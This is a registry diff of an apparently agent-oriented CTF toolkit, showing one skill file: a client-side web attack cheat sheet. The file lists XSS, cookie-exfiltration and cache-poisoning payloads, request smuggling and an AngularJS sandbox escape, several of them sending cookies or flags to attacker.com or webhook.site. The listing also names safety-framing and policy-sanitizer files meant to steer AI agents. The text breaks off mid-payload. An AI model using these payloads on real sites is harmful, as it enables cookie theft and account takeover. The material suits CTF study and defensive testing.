ctf-agent 1.2.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (152) hide show
  1. package/AGENTS.md +131 -0
  2. package/Dockerfile +192 -0
  3. package/README.md +522 -0
  4. package/agents/ctf-analyzer.md +58 -0
  5. package/agents/ctf-controller.md +151 -0
  6. package/agents/ctf-speedrun.md +74 -0
  7. package/bin/ctf-agent.js +119 -0
  8. package/docker-compose.yml +13 -0
  9. package/mcp_config.json +19 -0
  10. package/package.json +44 -0
  11. package/references/ctf-triage-ladder.md +68 -0
  12. package/references/exploit-databases.md +575 -0
  13. package/references/llm-safety-and-policy-compliance.md +173 -0
  14. package/references/multi-agent-orchestration-and-policy-routing.md +278 -0
  15. package/references/security-events-and-intelligence.md +566 -0
  16. package/references/version-matrix.md +59 -0
  17. package/rules/ctf-execution-rules.md +44 -0
  18. package/rules/ctf-safety-framing-rules.md +140 -0
  19. package/rules/flag-validation-rules.md +25 -0
  20. package/scripts/__init__.py +1 -0
  21. package/scripts/ctf-tools.lock +205 -0
  22. package/scripts/ctf_init.py +1026 -0
  23. package/scripts/ctf_update.py +583 -0
  24. package/scripts/ctfd_client.py +81 -0
  25. package/scripts/cve_lookup.py +453 -0
  26. package/scripts/extract_flags.py +155 -0
  27. package/scripts/install_as_agent.py +278 -0
  28. package/scripts/install_ctf_tools.sh +603 -0
  29. package/scripts/parallel_triage.py +395 -0
  30. package/scripts/prompt_policy_sanitizer.py +283 -0
  31. package/scripts/scope_guard.py +444 -0
  32. package/scripts/skill_validator.py +504 -0
  33. package/scripts/workspace_cleaner.py +141 -0
  34. package/skills/ctf-ai-ml/SKILL.md +120 -0
  35. package/skills/ctf-ai-ml/adversarial-ml.md +623 -0
  36. package/skills/ctf-ai-ml/llm-attacks.md +487 -0
  37. package/skills/ctf-ai-ml/model-attacks.md +422 -0
  38. package/skills/ctf-crypto/SKILL.md +320 -0
  39. package/skills/ctf-crypto/advanced-math.md +798 -0
  40. package/skills/ctf-crypto/classic-ciphers.md +651 -0
  41. package/skills/ctf-crypto/ecc-attacks.md +347 -0
  42. package/skills/ctf-crypto/exotic-crypto-2.md +380 -0
  43. package/skills/ctf-crypto/exotic-crypto.md +528 -0
  44. package/skills/ctf-crypto/historical.md +113 -0
  45. package/skills/ctf-crypto/lattice-and-lwe.md +524 -0
  46. package/skills/ctf-crypto/modern-ciphers-2.md +563 -0
  47. package/skills/ctf-crypto/modern-ciphers-3.md +453 -0
  48. package/skills/ctf-crypto/modern-ciphers.md +649 -0
  49. package/skills/ctf-crypto/prng-attacks.md +257 -0
  50. package/skills/ctf-crypto/prng.md +664 -0
  51. package/skills/ctf-crypto/rsa-attacks-2.md +792 -0
  52. package/skills/ctf-crypto/rsa-attacks.md +487 -0
  53. package/skills/ctf-crypto/stream-ciphers.md +390 -0
  54. package/skills/ctf-crypto/zkp-and-advanced.md +456 -0
  55. package/skills/ctf-forensics/3d-printing.md +121 -0
  56. package/skills/ctf-forensics/SKILL.md +379 -0
  57. package/skills/ctf-forensics/disk-advanced.md +497 -0
  58. package/skills/ctf-forensics/disk-and-memory.md +491 -0
  59. package/skills/ctf-forensics/disk-recovery.md +699 -0
  60. package/skills/ctf-forensics/linux-forensics.md +511 -0
  61. package/skills/ctf-forensics/network-advanced.md +583 -0
  62. package/skills/ctf-forensics/network.md +645 -0
  63. package/skills/ctf-forensics/peripheral-capture.md +287 -0
  64. package/skills/ctf-forensics/signals-and-hardware.md +713 -0
  65. package/skills/ctf-forensics/steganography.md +694 -0
  66. package/skills/ctf-forensics/stego-advanced-2.md +475 -0
  67. package/skills/ctf-forensics/stego-advanced.md +481 -0
  68. package/skills/ctf-forensics/stego-image.md +691 -0
  69. package/skills/ctf-forensics/windows.md +625 -0
  70. package/skills/ctf-malware/SKILL.md +181 -0
  71. package/skills/ctf-malware/c2-and-protocols.md +274 -0
  72. package/skills/ctf-malware/pe-and-dotnet.md +108 -0
  73. package/skills/ctf-malware/scripts-and-obfuscation.md +449 -0
  74. package/skills/ctf-misc/SKILL.md +498 -0
  75. package/skills/ctf-misc/bashjails.md +323 -0
  76. package/skills/ctf-misc/ctfd-navigation.md +465 -0
  77. package/skills/ctf-misc/dns.md +255 -0
  78. package/skills/ctf-misc/encodings-advanced.md +504 -0
  79. package/skills/ctf-misc/encodings.md +431 -0
  80. package/skills/ctf-misc/games-and-vms-2.md +254 -0
  81. package/skills/ctf-misc/games-and-vms-3.md +690 -0
  82. package/skills/ctf-misc/games-and-vms-4.md +229 -0
  83. package/skills/ctf-misc/games-and-vms.md +529 -0
  84. package/skills/ctf-misc/linux-privesc.md +333 -0
  85. package/skills/ctf-misc/pyjails.md +671 -0
  86. package/skills/ctf-misc/rf-sdr.md +91 -0
  87. package/skills/ctf-osint/SKILL.md +198 -0
  88. package/skills/ctf-osint/geolocation-and-media.md +464 -0
  89. package/skills/ctf-osint/social-media.md +312 -0
  90. package/skills/ctf-osint/web-and-dns.md +341 -0
  91. package/skills/ctf-pwn/SKILL.md +214 -0
  92. package/skills/ctf-pwn/advanced-exploits-2.md +579 -0
  93. package/skills/ctf-pwn/advanced-exploits-3.md +598 -0
  94. package/skills/ctf-pwn/advanced-exploits-4.md +590 -0
  95. package/skills/ctf-pwn/advanced-exploits-5.md +119 -0
  96. package/skills/ctf-pwn/advanced-exploits.md +773 -0
  97. package/skills/ctf-pwn/advanced.md +326 -0
  98. package/skills/ctf-pwn/field-notes.md +245 -0
  99. package/skills/ctf-pwn/format-string.md +694 -0
  100. package/skills/ctf-pwn/heap-fsop.md +285 -0
  101. package/skills/ctf-pwn/heap-techniques-2.md +333 -0
  102. package/skills/ctf-pwn/heap-techniques.md +513 -0
  103. package/skills/ctf-pwn/kernel-bypass.md +421 -0
  104. package/skills/ctf-pwn/kernel-techniques.md +366 -0
  105. package/skills/ctf-pwn/kernel.md +636 -0
  106. package/skills/ctf-pwn/overflow-basics.md +611 -0
  107. package/skills/ctf-pwn/rop-advanced.md +725 -0
  108. package/skills/ctf-pwn/rop-and-shellcode.md +659 -0
  109. package/skills/ctf-pwn/sandbox-escape.md +313 -0
  110. package/skills/ctf-reverse/SKILL.md +163 -0
  111. package/skills/ctf-reverse/anti-analysis-ctf.md +204 -0
  112. package/skills/ctf-reverse/anti-analysis.md +693 -0
  113. package/skills/ctf-reverse/field-notes.md +376 -0
  114. package/skills/ctf-reverse/languages-compiled.md +666 -0
  115. package/skills/ctf-reverse/languages-platforms.md +592 -0
  116. package/skills/ctf-reverse/languages.md +553 -0
  117. package/skills/ctf-reverse/patterns-ctf-2.md +397 -0
  118. package/skills/ctf-reverse/patterns-ctf-3.md +797 -0
  119. package/skills/ctf-reverse/patterns-ctf.md +670 -0
  120. package/skills/ctf-reverse/patterns-runtime.md +274 -0
  121. package/skills/ctf-reverse/patterns.md +572 -0
  122. package/skills/ctf-reverse/platforms-hardware.md +387 -0
  123. package/skills/ctf-reverse/platforms.md +664 -0
  124. package/skills/ctf-reverse/tools-advanced-2.md +421 -0
  125. package/skills/ctf-reverse/tools-advanced.md +407 -0
  126. package/skills/ctf-reverse/tools-dynamic.md +679 -0
  127. package/skills/ctf-reverse/tools-emulation.md +319 -0
  128. package/skills/ctf-reverse/tools.md +573 -0
  129. package/skills/ctf-web/SKILL.md +153 -0
  130. package/skills/ctf-web/auth-and-access-2.md +82 -0
  131. package/skills/ctf-web/auth-and-access.md +783 -0
  132. package/skills/ctf-web/auth-infra.md +321 -0
  133. package/skills/ctf-web/auth-jwt.md +186 -0
  134. package/skills/ctf-web/client-side-advanced.md +739 -0
  135. package/skills/ctf-web/client-side.md +529 -0
  136. package/skills/ctf-web/cves.md +373 -0
  137. package/skills/ctf-web/field-notes.md +482 -0
  138. package/skills/ctf-web/node-and-prototype.md +200 -0
  139. package/skills/ctf-web/server-side-2.md +337 -0
  140. package/skills/ctf-web/server-side-advanced-2.md +559 -0
  141. package/skills/ctf-web/server-side-advanced-3.md +125 -0
  142. package/skills/ctf-web/server-side-advanced-4.md +480 -0
  143. package/skills/ctf-web/server-side-advanced.md +378 -0
  144. package/skills/ctf-web/server-side-deser.md +443 -0
  145. package/skills/ctf-web/server-side-exec-2.md +799 -0
  146. package/skills/ctf-web/server-side-exec.md +457 -0
  147. package/skills/ctf-web/server-side.md +629 -0
  148. package/skills/ctf-web/sql-injection.md +790 -0
  149. package/skills/ctf-web/web3.md +374 -0
  150. package/skills/ctf-writeup/SKILL.md +90 -0
  151. package/skills/solve-challenge/SKILL.md +269 -0
  152. package/skills.json +16 -0
@@ -0,0 +1,529 @@
1
+ # CTF Web - Client-Side Attacks
2
+
3
+ ## Table of Contents
4
+ - [XSS Payloads](#xss-payloads)
5
+ - [Basic](#basic)
6
+ - [Cookie Exfiltration](#cookie-exfiltration)
7
+ - [Filter Bypass](#filter-bypass)
8
+ - [Hex/Unicode Bypass](#hexunicode-bypass)
9
+ - [DOMPurify Bypass via Trusted Backend Routes](#dompurify-bypass-via-trusted-backend-routes)
10
+ - [JavaScript String Replace Exploitation](#javascript-string-replace-exploitation)
11
+ - [Client-Side Path Traversal (CSPT)](#client-side-path-traversal-cspt)
12
+ - [Cache Poisoning](#cache-poisoning)
13
+ - [X-Forwarded-Host CDN Template Fetch Poisoning (CSAW 2018)](#x-forwarded-host-cdn-template-fetch-poisoning-csaw-2018)
14
+ - [Hidden DOM Elements](#hidden-dom-elements)
15
+ - [React-Controlled Input Programmatic Filling](#react-controlled-input-programmatic-filling)
16
+ - [Magic Link + Redirect Chain XSS](#magic-link--redirect-chain-xss)
17
+ - [Content-Type via File Extension](#content-type-via-file-extension)
18
+ - [DOM XSS via jQuery Hashchange (Crypto-Cat)](#dom-xss-via-jquery-hashchange-crypto-cat)
19
+ - [Shadow DOM XSS](#shadow-dom-xss)
20
+ - [DOM Clobbering + MIME Mismatch](#dom-clobbering--mime-mismatch)
21
+ - [HTTP Request Smuggling via Cache Proxy](#http-request-smuggling-via-cache-proxy)
22
+ - [CSS/JS Paywall Bypass](#cssjs-paywall-bypass)
23
+ - [JPEG+HTML Polyglot XSS (EHAX 2026)](#jpeghtml-polyglot-xss-ehax-2026)
24
+ - [JSFuck Decoding](#jsfuck-decoding)
25
+ - [AngularJS 1.x Sandbox Escape via charAt/trim Override (Google CTF 2017)](#angularjs-1x-sandbox-escape-via-charattrim-override-google-ctf-2017)
26
+ - [Admin Bot javascript: URL Scheme Bypass (DiceCTF 2026)](#admin-bot-javascript-url-scheme-bypass-dicectf-2026)
27
+ - [XS-Leak via Image Load Timing + GraphQL CSRF (HTB GrandMonty)](#xs-leak-via-image-load-timing--graphql-csrf-htb-grandmonty)
28
+ - [Why it works](#why-it-works)
29
+ - [Step 1 — Redirect bot via meta refresh (CSP bypass)](#step-1--redirect-bot-via-meta-refresh-csp-bypass)
30
+ - [Step 2 — Timing oracle via image loads](#step-2--timing-oracle-via-image-loads)
31
+ - [Step 3 — Character-by-character extraction](#step-3--character-by-character-extraction)
32
+ - [Step 4 — Host exploit and tunnel](#step-4--host-exploit-and-tunnel)
33
+ - [jQuery `$(location.hash)` CSS Selector Timing Leak (hxp 2018)](#jquery-locationhash-css-selector-timing-leak-hxp-2018)
34
+
35
+ ---
36
+
37
+ ## XSS Payloads
38
+
39
+ ### Basic
40
+ ```html
41
+ <script>alert(1)</script>
42
+ <img src=x onerror=alert(1)>
43
+ <svg onload=alert(1)>
44
+ <body onload=alert(1)>
45
+ <input onfocus=alert(1) autofocus>
46
+ ```
47
+
48
+ ### Cookie Exfiltration
49
+ ```html
50
+ <script>fetch('https://exfil.com/?c='+document.cookie)</script>
51
+ <img src=x onerror="fetch('https://exfil.com/?c='+document.cookie)">
52
+ ```
53
+
54
+ ### Filter Bypass
55
+ ```html
56
+ <ScRiPt>alert(1)</ScRiPt> <!-- Case mixing -->
57
+ <script>alert`1`</script> <!-- Template literal -->
58
+ <img src=x onerror=alert&#40;1&#41;> <!-- HTML entities -->
59
+ <svg/onload=alert(1)> <!-- No space -->
60
+ ```
61
+
62
+ ### Hex/Unicode Bypass
63
+ - Hex encoding: `\x3cscript\x3e`
64
+ - HTML entities: `&#60;script&#62;`
65
+
66
+ ---
67
+
68
+ ## DOMPurify Bypass via Trusted Backend Routes
69
+
70
+ Frontend sanitizes before autosave, but backend trusts autosave — no sanitization.
71
+ Exploit: POST directly to `/api/autosave` with XSS payload.
72
+
73
+ ---
74
+
75
+ ## JavaScript String Replace Exploitation
76
+
77
+ `.replace()` special patterns: `$\`` = content BEFORE match, `$'` = content AFTER match
78
+ Payload: `<img src="abc$\`<img src=x onerror=alert(1)>">`
79
+
80
+ ---
81
+
82
+ ## Client-Side Path Traversal (CSPT)
83
+
84
+ Frontend JS uses URL param in fetch without validation:
85
+ ```javascript
86
+ const profileId = urlParams.get("id");
87
+ fetch("/log/" + profileId, { method: "POST", body: JSON.stringify({...}) });
88
+ ```
89
+ Exploit: `/user/profile?id=../admin/addAdmin` → fetches `/admin/addAdmin` with CSRF body
90
+
91
+ Parameter pollution: `/user/profile?id=1&id=../admin/addAdmin` (backend uses first, frontend uses last)
92
+
93
+ ---
94
+
95
+ ## Cache Poisoning
96
+
97
+ CDN/cache keys only on URL:
98
+ ```python
99
+ requests.get(f"{TARGET}/search?query=harmless", data=f"query=<script>evil()</script>")
100
+ # All visitors to /search?query=harmless get XSS
101
+ ```
102
+
103
+ ### X-Forwarded-Host CDN Template Fetch Poisoning (CSAW 2018)
104
+
105
+ **Pattern:** A CDN fronting the app keys cached responses only on path + query. A backend Mustache template renders a `<script src="https://{{host}}/cdn/app.js">` tag where `{{host}}` comes from the `X-Forwarded-Host` header. The attacker sends one request with `X-Forwarded-Host: attacker.tld`, Varnish caches the response for 120 seconds, and every subsequent visitor loads JavaScript from the attacker origin.
106
+
107
+ ```http
108
+ GET /cdn/app.js HTTP/1.1
109
+ Host: target.tld
110
+ X-Forwarded-Host: attacker.tld
111
+ ```
112
+
113
+ ```python
114
+ import requests, time
115
+ # Poison the cache
116
+ requests.get("https://target.tld/cdn/app.js",
117
+ headers={"X-Forwarded-Host": "attacker.tld"})
118
+ # Within the 120s TTL any visitor pulls https://attacker.tld/cdn/app.js
119
+ ```
120
+
121
+ **Key insight:** Cache keys rarely include request headers, even when those headers feed the response body. Any header the backend reflects into HTML (`Host`, `X-Forwarded-Host`, `X-Original-URL`, `X-Rewrite-URL`, `Forwarded`) becomes a web cache poisoning vector the moment the response is cached. Use `Vary: X-Forwarded-Host` or strip these headers at the edge; attackers hunt them with Burp Param Miner (`unkeyed header discovery`).
122
+
123
+ **References:** CSAW CTF Qualification Round 2018 — Hacker Movie Club, writeup 11277
124
+
125
+ ---
126
+
127
+ ## Hidden DOM Elements
128
+
129
+ Proof/flag in `display: none`, `visibility: hidden`, `opacity: 0`, or off-screen elements:
130
+ ```javascript
131
+ document.querySelectorAll('[style*="display: none"], [hidden]')
132
+ .forEach(el => console.log(el.id, el.textContent));
133
+
134
+ // Find all hidden content
135
+ document.querySelectorAll('*').forEach(el => {
136
+ const s = getComputedStyle(el);
137
+ if (s.display === 'none' || s.visibility === 'hidden' || s.opacity === '0')
138
+ if (el.textContent.trim()) console.log(el.tagName, el.id, el.textContent.trim());
139
+ });
140
+ ```
141
+
142
+ ---
143
+
144
+ ## React-Controlled Input Programmatic Filling
145
+
146
+ React ignores direct `.value` assignment. Use native setter + events:
147
+ ```javascript
148
+ const input = document.querySelector('input[placeholder="SDG{...}"]');
149
+ const nativeSetter = Object.getOwnPropertyDescriptor(
150
+ window.HTMLInputElement.prototype, 'value'
151
+ ).set;
152
+ nativeSetter.call(input, 'desired_value');
153
+ input.dispatchEvent(new Event('input', { bubbles: true }));
154
+ input.dispatchEvent(new Event('change', { bubbles: true }));
155
+ ```
156
+
157
+ Works for React, Vue, Angular. Essential for automated form filling via DevTools.
158
+
159
+ ---
160
+
161
+ ## Magic Link + Redirect Chain XSS
162
+ ```javascript
163
+ // /magic/:token?redirect=/edit/<xss_post_id>
164
+ // Sets auth cookies, then redirects to attacker-controlled XSS page
165
+ ```
166
+
167
+ ---
168
+
169
+ ## Content-Type via File Extension
170
+ ```javascript
171
+ // @fastify/static determines Content-Type from extension
172
+ noteId = '<img src=x onerror="alert(1)">.html'
173
+ // Response: Content-Type: text/html → XSS
174
+ ```
175
+
176
+ ---
177
+
178
+ ## DOM XSS via jQuery Hashchange (Crypto-Cat)
179
+
180
+ **Pattern:** jQuery's `$()` selector sink combined with `location.hash` source and `hashchange` event handler. Modern jQuery patches block direct `$(location.hash)` HTML injection, but iframe-triggered hashchange bypasses it.
181
+
182
+ **Vulnerable pattern:**
183
+ ```javascript
184
+ $(window).on('hashchange', function() {
185
+ var element = $(location.hash);
186
+ element[0].scrollIntoView();
187
+ });
188
+ ```
189
+
190
+ **Exploit via iframe:** Trigger hashchange without direct user interaction by loading the target in an iframe, then modifying the hash via `onload`:
191
+ ```html
192
+ <iframe src="https://vulnerable.com/#"
193
+ onload="this.src+='<img src=x onerror=print()>'">
194
+ </iframe>
195
+ ```
196
+
197
+ **Key insight:** The iframe's `onload` fires after the initial load, then changing `this.src` triggers a `hashchange` event in the target page. The hash content (`<img src=x onerror=print()>`) passes through jQuery's `$()` which interprets it as HTML, creating a DOM element with the XSS payload.
198
+
199
+ **Detection:** Look for `$(location.hash)`, `$(window.location.hash)`, or any jQuery selector that accepts user-controlled input from URL fragments.
200
+
201
+ ---
202
+
203
+ ## Shadow DOM XSS
204
+
205
+ **Closed Shadow DOM exfiltration (Pragyan 2026):** Wrap `attachShadow` in a Proxy to capture shadow root references:
206
+ ```javascript
207
+ var _r, _o = Element.prototype.attachShadow;
208
+ Element.prototype.attachShadow = new Proxy(_o, {
209
+ apply: (t, a, b) => { _r = Reflect.apply(t, a, b); return _r; }
210
+ });
211
+ // After target script creates shadow DOM, _r contains the root
212
+ ```
213
+
214
+ **Indirect eval scope escape:** `(0,eval)('code')` escapes `with(document)` scope restrictions.
215
+
216
+ **Payload smuggling via avatar URL:** Encode full JS payload in avatar URL after fixed prefix, extract with `avatar.slice(N)`:
217
+ ```html
218
+ <svg/onload=(0,eval)('eval(avatar.slice(24))')>
219
+ ```
220
+
221
+ **`</script>` injection (Shadow Fight 2):** Keyword filters often miss HTML structural tags. `</script>` closes existing script context, `<script src=//evil>` loads external script. External script reads flag from `document.scripts[].textContent`.
222
+
223
+ ---
224
+
225
+ ## DOM Clobbering + MIME Mismatch
226
+
227
+ **MIME type confusion (Pragyan 2026):** CDN/server checks for `.jpeg` but not `.jpg` → serves `.jpg` as `text/html` → HTML in JPEG polyglot executes as page.
228
+
229
+ **Form-based DOM clobbering:**
230
+ ```html
231
+ <form id="config"><input name="canAdminVerify" value="1"></form>
232
+ <!-- Makes window.config.canAdminVerify truthy, bypassing JS checks -->
233
+ ```
234
+
235
+ ---
236
+
237
+ ## HTTP Request Smuggling via Cache Proxy
238
+
239
+ **Cache proxy desync (Pragyan 2026):** When a caching TCP proxy returns cached responses without consuming request bodies, leftover bytes are parsed as the next request.
240
+
241
+ **Cookie theft pattern:**
242
+ 1. Create cached resource (e.g., blog post)
243
+ 2. Send request with cached URL + appended incomplete POST (large Content-Length, partial body)
244
+ 3. Cache proxy returns cached response, doesn't consume POST body
245
+ 4. Admin bot's next request bytes fill the POST body → stored on server
246
+ 5. Read stored request to extract admin's cookies
247
+
248
+ ```python
249
+ inner_req = (
250
+ f"POST /create HTTP/1.1\r\n"
251
+ f"Host: {HOST}\r\n"
252
+ f"Cookie: session={user_session}\r\n"
253
+ f"Content-Length: 256\r\n" # Large, but only partial body sent
254
+ f"\r\n"
255
+ f"content=LEAK_" # Victim's request completes this
256
+ )
257
+ outer_req = (
258
+ f"GET /cached-page HTTP/1.1\r\n"
259
+ f"Content-Length: {len(inner_req)}\r\n"
260
+ f"\r\n"
261
+ ).encode() + inner_req
262
+ ```
263
+
264
+ ---
265
+
266
+ ## CSS/JS Paywall Bypass
267
+
268
+ **Pattern (Great Paywall, MetaCTF 2026):** Article content is fully present in the HTML but hidden behind a CSS/JS overlay (`position: fixed; z-index: 99999; backdrop-filter: blur(...)` with a "Subscribe" CTA).
269
+
270
+ **Quick solve:** `curl` the page — no CSS/JS rendering means the full article (and flag) are in the raw HTML.
271
+
272
+ ```bash
273
+ curl -s https://target/article | grep -i "flag\|CTF{"
274
+ ```
275
+
276
+ **Alternative approaches:**
277
+ - View page source in browser (Ctrl+U)
278
+ - Browser DevTools → delete the overlay element
279
+ - Disable JavaScript in browser settings
280
+ - `document.querySelector('#paywall-overlay').remove()` in console
281
+ - Googlebot user-agent: `curl -H "User-Agent: Googlebot" https://target/article`
282
+
283
+ **Key insight:** Many paywalls are client-side DOM overlays — the content is always in the HTML. The leetspeak hint "paywalls are just DOM" confirms this. Always try `curl` or view-source first before more complex approaches.
284
+
285
+ **Detection:** Look for `<div>` elements with `position: fixed`, high `z-index`, and `backdrop-filter: blur()` in the page source — these are overlay-based paywalls.
286
+
287
+ ---
288
+
289
+ ## JPEG+HTML Polyglot XSS (EHAX 2026)
290
+
291
+ **Pattern (Metadata Meyham):** File upload accepts JPEG, serves uploaded files with permissive MIME type. Admin bot visits reported files.
292
+
293
+ **Attack:** Create a JPEG+HTML polyglot — valid JPEG header followed by HTML/JS payload:
294
+ ```python
295
+ from PIL import Image
296
+ import io
297
+
298
+ # Create minimal valid JPEG
299
+ img = Image.new('RGB', (1,1), color='red')
300
+ buf = io.BytesIO()
301
+ img.save(buf, 'JPEG', quality=1)
302
+ jpeg_data = buf.getvalue()
303
+
304
+ # HTML payload appended after JPEG data
305
+ html_payload = '''<!DOCTYPE html>
306
+ <html><body><script>
307
+ (async function(){
308
+ // Fetch admin page content
309
+ var r = await fetch("/admin");
310
+ var t = await r.text();
311
+ // Exfiltrate via self-upload (stays on same origin)
312
+ var j = new Uint8Array([255,216,255,224,0,16,74,70,73,70,0,1,1,0,0,1,0,1,0,0,255,217]);
313
+ var b = new Blob([j], {type:'image/jpeg'});
314
+ var f = new FormData();
315
+ f.append('file', b, 'FLAG_' + btoa(t).substring(0,100) + '.jpg');
316
+ await fetch('/upload', {method:'POST', body:f});
317
+ // Also try external webhook
318
+ new Image().src = "https://webhook.site/YOUR_ID?d=" + encodeURIComponent(t.substring(0,500));
319
+ })();
320
+ </script></body></html>'''
321
+
322
+ polyglot = jpeg_data + b'\n' + html_payload.encode()
323
+ # Upload as .html with image/jpeg content type
324
+ ```
325
+
326
+ **PoW bypass:** Many CTF report endpoints require SHA-256 proof-of-work:
327
+ ```python
328
+ import hashlib
329
+ nonce = 0
330
+ while True:
331
+ h = hashlib.sha256((challenge + str(nonce)).encode()).hexdigest()
332
+ if h.startswith('0' * difficulty):
333
+ break
334
+ nonce += 1
335
+ ```
336
+
337
+ **Exfiltration methods (ranked by reliability):**
338
+ 1. **Self-upload:** Fetch `/admin`, upload result as filename → check `/files` for new uploads
339
+ 2. **Webhook:** `fetch('https://webhook.site/ID?flag='+data)` — may be blocked by CSP
340
+ 3. **DNS exfil:** `new Image().src = 'http://'+btoa(flag)+'.attacker.com'` — bypasses most CSP
341
+
342
+ **Key insight:** JPEG files are tolerant of trailing data. Browsers parse HTML from anywhere in the response when MIME allows it. The polyglot is simultaneously a valid JPEG and valid HTML.
343
+
344
+ ---
345
+
346
+ ## JSFuck Decoding
347
+
348
+ **Pattern (JShit, PascalCTF 2026):** Page source contains JSFuck (`[]()!+` only). Decode by removing trailing `()()` and calling `.toString()` in Node.js:
349
+ ```javascript
350
+ const code = fs.readFileSync('jsfuck.js', 'utf8');
351
+ // Remove last () to get function object instead of executing
352
+ const func = eval(code.slice(0, -2));
353
+ console.log(func.toString()); // Reveals original code with hardcoded flag
354
+ ```
355
+
356
+ ---
357
+
358
+ ## AngularJS 1.x Sandbox Escape via charAt/trim Override (Google CTF 2017)
359
+
360
+ **Pattern:** AngularJS versions before 1.6 sandbox expressions to prevent arbitrary JavaScript execution in `{{ }}` bindings. The sandbox relies on `charAt` to validate identifiers character by character. Override `charAt` with `trim` on `String.prototype` to bypass the check, then use `$eval` to execute arbitrary JS.
361
+
362
+ **Payload:**
363
+ ```javascript
364
+ {{a=toString().constructor.prototype;a.charAt=a.trim;$eval('a,window.location="http://attacker.com/"+document.cookie,a')}}
365
+ ```
366
+
367
+ **How it works:**
368
+ 1. `toString().constructor.prototype` accesses `String.prototype`
369
+ 2. `a.charAt=a.trim` replaces `charAt` with `trim` on all strings
370
+ 3. The sandbox calls `charAt(0)` on identifiers to validate them -- but `trim` returns the full string instead of a single character
371
+ 4. This breaks the character-by-character validation, allowing any expression
372
+ 5. `$eval('expression')` evaluates arbitrary JavaScript in the Angular scope
373
+
374
+ **Shorter variants for different AngularJS versions:**
375
+ ```javascript
376
+ <!-- AngularJS 1.5.x -->
377
+ {{x={'y':''.constructor.prototype};x['y'].charAt=[].join;$eval('x=alert(1)')}}
378
+
379
+ <!-- AngularJS 1.4.x -->
380
+ {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//')}}
381
+
382
+ <!-- AngularJS 1.3.x -->
383
+ {{constructor.constructor('return window.location="http://attacker.com/"+document.cookie')()}}
384
+ ```
385
+
386
+ **Detection:** Look for `ng-app` or `ng-controller` directives in HTML, AngularJS script includes (`angular.js` or `angular.min.js`), and `{{ }}` expression bindings that reflect user input.
387
+
388
+ **Key insight:** The sandbox relies on `charAt` to validate identifiers. Replacing it with `trim` (which returns the full string) bypasses the character-by-character check, allowing arbitrary expression evaluation. AngularJS 1.6+ removed the sandbox entirely (acknowledging it was never a security boundary), but many CTFs and legacy apps still use older versions.
389
+
390
+ ---
391
+
392
+ ## Admin Bot javascript: URL Scheme Bypass (DiceCTF 2026)
393
+
394
+ **Pattern (Mirror Temple):** Admin bot navigates to user-supplied URL, validates with `new URL()` which only checks syntax — not protocol scheme. `javascript:` URLs pass validation and execute arbitrary JS in the bot's authenticated context.
395
+
396
+ **Vulnerable validation:**
397
+ ```javascript
398
+ try {
399
+ new URL(targetUrl) // Accepts javascript:, data:, file:, etc.
400
+ } catch {
401
+ process.exit(1)
402
+ }
403
+ await page.goto(targetUrl, { waitUntil: "domcontentloaded" })
404
+ ```
405
+
406
+ **Exploit:**
407
+ ```bash
408
+ # 1. Create authenticated session (bot requires valid cookie)
409
+ curl -i -X POST 'https://target/postcard-from-nyc' \
410
+ --data-urlencode 'name=test' \
411
+ --data-urlencode 'flag=dice{test}' \
412
+ --data-urlencode 'portrait='
413
+ # Extract save=... cookie from Set-Cookie header
414
+
415
+ # 2. Submit javascript: URL to report endpoint
416
+ curl -X POST 'https://target/report' \
417
+ -H 'Cookie: save=YOUR_COOKIE' \
418
+ --data-urlencode "url=javascript:fetch('/flag').then(r=>r.text()).then(f=>location='https://webhook.site/ID/?flag='+encodeURIComponent(f))"
419
+ ```
420
+
421
+ **Why CSP/SRI don't help (B-Side variant):** The B-Side adds inlined CSS, SRI integrity hashes on scripts, and strict CSP. None of these matter because `javascript:` URLs execute in a **navigation context** — the bot navigates to the JS URL directly, not injecting into an existing page. The CSP of the target page is irrelevant since the JS runs before any page loads.
422
+
423
+ **Fix:**
424
+ ```javascript
425
+ const u = new URL(targetUrl)
426
+ if (!['http:', 'https:'].includes(u.protocol)) {
427
+ process.exit(1)
428
+ }
429
+ ```
430
+
431
+ **Key insight:** `new URL()` is a **syntax** validator, not a **security** validator. It accepts `javascript:`, `data:`, `file:`, `blob:`, and other dangerous schemes. Any admin bot or SSRF handler using `new URL()` alone for validation is vulnerable. Always allowlist protocols explicitly.
432
+
433
+ ---
434
+
435
+ ## XS-Leak via Image Load Timing + GraphQL CSRF (HTB GrandMonty)
436
+
437
+ **Pattern:** Admin bot visits attacker page → JavaScript makes cross-origin requests to `localhost` GraphQL endpoint → measures time-based SQLi via image load timing → exfiltrates data character by character.
438
+
439
+ ### Why it works
440
+
441
+ 1. **GraphQL GET CSRF:** Many GraphQL implementations accept GET requests (not just POST+JSON). GET requests with images bypass CORS preflight — no `OPTIONS` check needed.
442
+ 2. **Bot runs on localhost:** The admin bot's browser can reach `localhost:1337/graphql` which is restricted from external access.
443
+ 3. **Image error timing:** `new Image().src = url` fires `onerror` after the server responds. If SQL `SLEEP(1)` executes, the response is slow → timing difference reveals whether a character matches.
444
+
445
+ ### Step 1 — Redirect bot via meta refresh (CSP bypass)
446
+
447
+ When CSP blocks inline scripts, use HTML injection with `<meta>` redirect:
448
+ ```bash
449
+ curl -b cookies.txt "http://TARGET/api/chat/send" \
450
+ -X POST -H "Content-Type: application/json" \
451
+ -d '{"message": "<meta http-equiv=\"refresh\" content=\"0;url=https://ATTACKER/exploit.html\" />"}'
452
+ ```
453
+
454
+ The bot navigates to the attacker page, where JavaScript executes freely (different origin, no CSP restriction).
455
+
456
+ ### Step 2 — Timing oracle via image loads
457
+
458
+ ```javascript
459
+ const imageLoadTime = (src) => {
460
+ return new Promise((resolve) => {
461
+ let start = performance.now();
462
+ const img = new Image();
463
+ img.onload = () => resolve(0);
464
+ img.onerror = () => resolve(performance.now() - start);
465
+ img.src = src;
466
+ });
467
+ };
468
+
469
+ const xsLeaks = async (query) => {
470
+ let imgURL = 'http://127.0.0.1:1337/graphql?query=' +
471
+ encodeURIComponent(query);
472
+ let delay = await imageLoadTime(imgURL);
473
+ return delay >= 1000; // SLEEP(1) threshold
474
+ };
475
+ ```
476
+
477
+ ### Step 3 — Character-by-character extraction
478
+
479
+ ```javascript
480
+ let sqlTemp = `query {
481
+ RansomChat(enc_id: "123' and __LEFT__ = __RIGHT__)-- -")
482
+ {id, enc_id, message, created_at} }`;
483
+
484
+ let readQueryTemp = `(select sleep(1) from dual where
485
